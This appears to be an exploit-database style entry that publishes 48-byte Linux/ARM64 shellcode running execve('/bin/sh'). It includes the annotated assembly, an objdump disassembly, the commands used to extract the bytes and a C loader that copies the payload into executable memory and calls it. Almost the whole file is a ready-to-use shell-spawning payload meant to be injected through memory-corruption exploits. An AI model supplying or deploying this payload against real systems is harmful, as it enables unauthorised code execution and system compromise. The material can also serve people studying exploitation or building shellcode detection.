/*
# Title:  Linux/ARM64 - execve("/bin/sh", ["/bin/sh"], NULL) Shellcode (48 Bytes)
# Date:   2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c


ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID:  Ubuntu
Description:  Ubuntu Xenial Xerus (development branch)
Release:  16.04
Codename:  xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat execve2.s
.section .text
.global _start
_start:
    // execve("/bin/sh", ["/bin/sh"], NULL)
    mov  x1, #0x622F            // x1 = 0x000000000000622F ("b/")
    movk x1, #0x6E69, lsl #16   // x1 = 0x000000006E69622F ("nib/")
    movk x1, #0x732F, lsl #32   // x1 = 0x0000732F6E69622F ("s/nib/")
    movk x1, #0x68, lsl #48     // x1 = 0x0068732F6E69622F ("hs/nib/")
    str  x1, [sp, #-8]!         // push x1
    mov  x2, xzr                // args[2] = x2 = NULL
    add  x0, sp, x2             // args[0] = x0 = pointer to "/bin/sh\0"
    str  x2, [sp, #-8]!         // push x2
    str  x0, [sp, #-8]!         // push x0
    add  x1, sp, x2             // args[1] = x1 = ["/bin/sh", NULL]
    mov  x8, #221               // Systemcall Number = 221 (execve)
    svc  #0x1337                // Invoke Systemcall
ubuntu@ubuntu:~/works$ as -o execve2.o execve2.s && ld -o execve2 execve2.o
ubuntu@ubuntu:~/works$ objdump -d ./execve2

./execve2:     file format elf64-littleaarch64


Disassembly of section .text:

0000000000400078 <_start>:
  400078:  d28c45e1   mov  x1, #0x622f                  // #25135
  40007c:  f2adcd21   movk  x1, #0x6e69, lsl #16
  400080:  f2ce65e1   movk  x1, #0x732f, lsl #32
  400084:  f2e00d01   movk  x1, #0x68, lsl #48
  400088:  f81f8fe1   str  x1, [sp,#-8]!
  40008c:  aa1f03e2   mov  x2, xzr
  400090:  8b2263e0   add  x0, sp, x2
  400094:  f81f8fe2   str  x2, [sp,#-8]!
  400098:  f81f8fe0   str  x0, [sp,#-8]!
  40009c:  8b2263e1   add  x1, sp, x2
  4000a0:  d2801ba8   mov  x8, #0xdd                    // #221
  4000a4:  d40266e1   svc  #0x1337
ubuntu@ubuntu:~/works$ objcopy -O binary execve2 execve2.bin
ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve2.bin && echo
\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe2\x03\x1f\xaa\xe0\x63\x22\x8b\xe2\x8f\x1f\xf8\xe0\x8f\x1f\xf8\xe1\x63\x22\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4

*/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] =
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
"\xe1\x8f\x1f\xf8\xe2\x03\x1f\xaa\xe0\x63\x22\x8b\xe2\x8f\x1f\xf8"
"\xe0\x8f\x1f\xf8\xe1\x63\x22\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4";

int main(int argc, char **argv) {
    printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));

    void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

    if (ptr == MAP_FAILED) {
        perror("mmap");
        exit(-1);
    }

    memcpy(ptr, shellcode, sizeof(shellcode));
    sc = ptr;

    sc();

    return 0;
}